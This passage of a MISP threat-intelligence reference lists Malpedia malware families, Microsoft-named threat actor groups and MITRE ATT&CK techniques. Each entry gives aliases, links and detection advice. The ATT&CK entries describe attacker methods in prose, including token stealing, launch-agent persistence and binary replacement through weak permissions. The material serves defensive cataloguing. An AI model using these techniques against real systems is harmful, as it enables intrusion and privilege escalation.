Table 1657. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih
https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html

YoungLotus

Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.

PE timestamps suggest that it came into existence in the second half of 2014.

Some versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).

The tag is: *misp-galaxy:malpedia="YoungLotus"*

YoungLotus is also known as:

- DarkShare

Table 1658. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus
https://www.youtube.com/watch?v=AUGxYhE_CUY

yty

The tag is: *misp-galaxy:malpedia="yty"*

yty is also known as:

Table 1659. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yty
https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/
https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/

Zebrocy

The tag is: *misp-galaxy:malpedia="Zebrocy"*

Zebrocy is also known as:

- Zekapab

Table 1660. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy
https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/

Zebrocy (AutoIT)

The tag is: *misp-galaxy:malpedia="Zebrocy (AutoIT)"*

Zebrocy (AutoIT) is also known as:

Table 1661. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy_au3
https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/

Zedhou

The tag is: *misp-galaxy:malpedia="Zedhou"*

Zedhou is also known as:

Table 1662. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou

ZeroAccess

The tag is: *misp-galaxy:malpedia="ZeroAccess"*

ZeroAccess is also known as:

- Max++
- Smiscer

Table 1663. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess
https://blog.malwarebytes.com/threat-analysis/2013/07/zeroaccess-anti-debug-uses-debugger/
https://blog.malwarebytes.com/threat-analysis/2013/08/sophos-discovers-zeroaccess-using-rlo/
http://contagiodump.blogspot.com/2010/11/zeroaccess-max-smiscer-crimeware.html
http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/
http://resources.infosecinstitute.com/zeroaccess-malware-part-2-the-kernel-mode-device-driver-stealth-rootkit/
http://resources.infosecinstitute.com/zeroaccess-malware-part-3-the-device-driver-process-injection-rootkit/
http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/
http://contagiodump.blogspot.com/2012/12/zeroaccess-sirefef-rootkit-5-fresh.html

ZeroEvil

ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.

It first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs_gate.php (plugin=, report=). So far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.

The ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze_core.DLL (Mutex) and ze_autorun.DLL (Run-Key).

The tag is: *misp-galaxy:malpedia="ZeroEvil"*

ZeroEvil is also known as:

Table 1664. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroevil
https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/

ZeroT

The tag is: *misp-galaxy:malpedia="ZeroT"*

ZeroT is also known as:

ZeroT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="ZeroT - S0230" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="ZeroT" with estimative-language:likelihood-probability="likely"

Table 1665. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zerot
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx

Zeus

The tag is: *misp-galaxy:malpedia="Zeus"*

Zeus is also known as:

- Zbot

Zeus has relationships with:

- similar: misp-galaxy:tool="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"

Table 1666. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus
http://contagiodump.blogspot.com/2010/07/zeus-version-scheme-by-trojan-author.html
http://contagiodump.blogspot.com/2010/07/zeus-trojan-research-links.html
https://www.secureworks.com/research/zeus?threat=zeus
https://www.symantec.com/connect/blogs/brief-look-zeuszbot-20
https://www.symantec.com/connect/blogs/spyeye-s-kill-zeus-bark-worse-its-bite
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/zeus_king_of_bots.pdf
https://nakedsecurity.sophos.com/2010/07/24/sample-run/
http://eternal-todo.com/blog/zeus-spreading-facebook
http://eternal-todo.com/blog/new-zeus-binary
http://eternal-todo.com/blog/detecting-zeus
https://www.mnin.org/write/ZeusMalware.pdf
http://malwareint.blogspot.com/2009/07/special-zeus-botnet-for-dummies.html
http://malwareint.blogspot.com/2010/01/leveraging-zeus-to-send-spam-through.html
http://malwareint.blogspot.com/2010/02/facebook-phishing-campaign-proposed-by.html
http://malwareint.blogspot.com/2010/03/new-phishing-campaign-against-facebook.html
http://malwareint.blogspot.com/2010/02/zeus-on-irs-scam-remains-actively.html
https://zeustracker.abuse.ch/monitor.php
http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html

Zeus MailSniffer

The tag is: *misp-galaxy:malpedia="Zeus MailSniffer"*

Zeus MailSniffer is also known as:

Table 1667. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer

Zeus Sphinx

The tag is: *misp-galaxy:malpedia="Zeus Sphinx"*

Zeus Sphinx is also known as:

Zeus Sphinx has relationships with:

- similar: misp-galaxy:banker="Zeus Sphinx" with estimative-language:likelihood-

probability="likely"

Table 1668. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx
https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/
https://web.archive.org/web/20160130165709/http://darkmatters.norsecorp.com/2015/08/24/sphinx-new-zeus-variant-for-sale-on-the-black-market/
https://securityintelligence.com/uk-banks-hit-with-new-zeus-sphinx-variant-and-renewed-kronos-banking-trojan-attacks/

Zeus SSL

The sample listed here was previously mislabeled and is now integrated into win.floki_bot. The family is to-be-updated once we have a "real" Zeus SSL sample.

The tag is: *misp-galaxy:malpedia="Zeus SSL"*

Zeus SSL is also known as:

Table 1669. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_ssl

Zezin

The tag is: *misp-galaxy:malpedia="Zezin"*

Zezin is also known as:

Table 1670. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zezin
https://twitter.com/siri_urz/status/923479126656323584
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4877

ZhCat

The tag is: *misp-galaxy:malpedia="ZhCat"*

ZhCat is also known as:

Table 1671. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

ZhMimikatz

The tag is: *misp-galaxy:malpedia="ZhMimikatz"*

ZhMimikatz is also known as:

Table 1672. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zhmimikatz
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Zloader

A banking trojan first observed in October 2016 has grown into a sophisticated hacking tool that works primarily as a banking trojan, but could also be used as an infostealer or backdoor.

The tag is: *misp-galaxy:malpedia="Zloader"*

Zloader is also known as:

- Zeus Terdot

Zloader has relationships with:

- similar: misp-galaxy:banker="Zloader Zeus" with estimative-language:likelihood-probability="likely"

Table 1673. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader
https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/
https://labs.bitdefender.com/2017/11/terdot-zeus-based-malware-strikes-back-with-a-blast-from-the-past/
https://www.arbornetworks.com/blog/asert/great-dga-sphinx/

ZoxPNG

The tag is: *misp-galaxy:malpedia="ZoxPNG"*

ZoxPNG is also known as:

- gresim

Table 1674. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zoxpng
http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf

ZXShell

The tag is: *misp-galaxy:malpedia="ZXShell"*

ZXShell is also known as:

- Sensocode

ZXShell has relationships with:

- similar: misp-galaxy:tool="ZXShell" with estimative-language:likelihood-probability="likely"

Table 1675. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell
https://blogs.cisco.com/security/talos/opening-zxshell
https://blogs.rsa.com/cat-phishing/
https://github.com/smb01/zxshell

Zyklon

The tag is: *misp-galaxy:malpedia="Zyklon"*

Zyklon is also known as:

Zyklon has relationships with:

- similar: misp-galaxy:ransomware="GNL Locker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Zyklon" with estimative-language:likelihood-probability="likely"

Table 1676. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zyklon
https://www.fireeye.com/blog/threat-research/2018/01/microsoft-office-vulnerabilities-used-to-distribute-zyklon-malware.html

Microsoft Activity Group actor

Activity groups as described by Microsoft.

Microsoft Activity Group actor is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: *misp-galaxy:microsoft-activity-group="PROMETHIUM"*

PROMETHIUM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="PROMETHIUM - G0056" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PROMETHIUM" with estimative-language:likelihood-probability="likely"

Table 1677. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: *misp-galaxy:microsoft-activity-group="NEODYMIUM"*

NEODYMIUM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="NEODYMIUM - G0055" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="NEODYMIUM" with estimative-language:likelihood-probability="likely"

Table 1678. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

TERBIUM

Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.

The tag is: *misp-galaxy:microsoft-activity-group="TERBIUM"*

TERBIUM has relationships with:

- similar: misp-galaxy:threat-actor="TERBIUM" with estimative-language:likelihood-probability="likely"

Table 1679. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/09/windows-10-protection-detection-and-response-against-recent-attacks/

STRONTIUM

STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims' computer.

The tag is: *misp-galaxy:microsoft-activity-group="STRONTIUM"*

STRONTIUM is also known as:

- APT 28

- APT28
- Pawn Storm
- Fancy Bear
- Sednit
- TsarTeam
- TG-4127
- Group-4127
- Sofacy
- Grey-Cloud

STRONTIUM has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="APT28 - G0007" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Sofacy" with estimative-language:likelihood-probability="likely"

Table 1680. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our-customers-security/
http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_A_Profile_Of_A_Persistent_Adversary_English.pdf
https://blogs.technet.microsoft.com/mmpc/2015/11/16/microsoft-security-intelligence-report-strontium/
https://blogs.microsoft.com/on-the-issues/2018/08/20/we-are-taking-new-steps-against-broadening-threats-to-democracy/
https://www.bleepingcomputer.com/news/security/microsoft-disrupts-apt28-hacking-campaign-aimed-at-us-midterm-elections/

DUBNIUM

DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features.

The tag is: *misp-galaxy:microsoft-activity-group="DUBNIUM"*

DUBNIUM is also known as:

- darkhotel

DUBNIUM has relationships with:

- similar: misp-galaxy:threat-actor="DarkHotel" with estimative-language:likelihood-

probability="likely"

Table 1681. Table References

Links
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2
https://blogs.technet.microsoft.com/mmpc/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/
https://blogs.technet.microsoft.com/mmpc/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/

PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group's persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: *misp-galaxy:microsoft-activity-group="PLATINUM"*

PLATINUM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="PLATINUM - G0068" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"

Table 1682. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/
http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

BARIUM

Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware, supporting infrastructure, online personas, victimology, and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity. Microsoft labels activity groups using code names derived from elements in the periodic table. In the case of this malware, the activity groups strongly associated with Winnti are BARIUM and LEAD. But even though they share the use of Winnti, the BARIUM and LEAD activity groups are involved in very different intrusion scenarios. BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms. Once BARIUM has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winnti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred.

The tag is: *misp-galaxy:microsoft-activity-group="BARIUM"*

Table 1683. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/

LEAD

In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few years, LEAD's victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, LEAD's objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD's attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines.

The tag is: *misp-galaxy:microsoft-activity-group="LEAD"*

Table 1684. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/

ZIRCONIUM

In addition to strengthening generic detection of EoP exploits, Microsoft security researchers are actively gathering threat intelligence and indicators attributable to ZIRCONIUM, the activity group using the CVE-2017-0005 exploit.

The tag is: *misp-galaxy:microsoft-activity-group="ZIRCONIUM"*

Table 1685. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/

https://www.cfr.org/interactive/cyber-operations/mythic-leopard

This threat actor uses social engineering and spear phishing to target military and defense organizations in India, for the purpose of espionage.

The tag is: *misp-galaxy:microsoft-activity-group="https://www.cfr.org/interactive/cyber-operations/mythic-leopard"*

https://www.cfr.org/interactive/cyber-operations/mythic-leopard is also known as:

- C-Major
- Transparent Tribe

https://www.cfr.org/interactive/cyber-operations/mythic-leopard has relationships with:

- similar: misp-galaxy:threat-actor="Operation C-Major" with estimative-language:likelihood-probability="likely"

Table 1686. Table References

Links
https://www.cfr.org/interactive/cyber-operations/mythic-leopard

Attack Pattern

ATT&CK tactic.

Attack Pattern is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Exfiltration Over Alternative Protocol

Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol"*

Table 1687. Table References

Links
https://attack.mitre.org/wiki/Technique/T1048
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Standard Application Layer Protocol

Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol"*

Table 1688. Table References

Links
https://attack.mitre.org/wiki/Technique/T1071
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Launch Agent

Per Apple's developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code>[[Citation: AppleDocs Launch Agent Daemons]][[Citation: OSX Keydnap malware]][[Citation: Antiquated Mac Malware]]. These launch agents have property list files which point to the executables that will be launched[[Citation: OSX.Dok Malware]].

Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories [[Citation: Sofacy Komplex Trojan]] [[Citation: Methods of Mac Malware Persistence]]. The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in[[Citation: OSX Malware Detection]][[Citation: OceanLotus for OS X]]. They can be set up to execute when a specific user logs in (in the specific user's directory structure) or when any user logs in (which requires administrator privileges).

Detection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See's KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.

Platforms: MacOS, OS X

Data Sources: File monitoring, Process Monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Agent"*

Table 1689. Table References

Links
https://attack.mitre.org/wiki/Technique/T1159
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html

https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf

Communication Through Removable Media

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.

Detection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: File monitoring, Data loss prevention

The tag is: *misp-galaxy:mitre-attack-pattern="Communication Through Removable Media"*

Table 1690. Table References

Links
https://attack.mitre.org/wiki/Technique/T1092

Access Token Manipulation

Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>. [[Citation: Microsoft runas]]

Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.[[Citation: Pentestlab Token Manipulation]]

Adversaries can also create spoofed access tokens if they know the credentials of a user. Any standard user can use the <code>runas</code> command, and the Windows API functions, to do this; it does not require access to an administrator account.

Lastly, an adversary can use a spoofed token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.

Metasploit’s Meterpreter payload allows arbitrary token stealing and uses token stealing to escalate privileges. [[Citation: Metasploit access token]] The Cobalt Strike beacon payload allows arbitrary token stealing and can also create tokens. [[Citation: Cobalt Strike Access Token]]

Detection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.[[Citation: Microsoft Command-line Logging]]

If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.

There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code>[[Citation: Microsoft LogonUser]], <code>DuplicateTokenEx</code>[[Citation: Microsoft DuplicateTokenEx]], and <code>ImpersonateLoggedOnUser</code>[[Citation: Microsoft ImpersonateLoggedOnUser]]). Please see the referenced Windows API pages for more information.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Effective Permissions: SYSTEM

Contributors: Tom Ueltschi @c_APT_ure

The tag is: *misp-galaxy:mitre-attack-pattern="Access Token Manipulation"*

Table 1691. Table References

Links
https://attack.mitre.org/wiki/Technique/T1134
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/
https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
https://technet.microsoft.com/en-us/library/bb490994.aspx
https://pentestlab.blog/2017/04/03/token-manipulation/

https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx

Custom Command and Control Protocol

Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring

The tag is: *misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol"*

Table 1692. Table References

Links
https://attack.mitre.org/wiki/Technique/T1094
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

File System Permissions Weakness

Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

===Services===

Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.

===Executable Installers===

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.[[Citation: Mozilla Firefox Installer DLL Hijack]][[Citation: Seclists Kanthak 7zip Installer]]

Detection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to or other adversary techniques.

Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10

Data Sources: File monitoring, Services, Process command-line parameters

Effective Permissions: SYSTEM, User, Administrator

Contributors: Stefan Kanthak

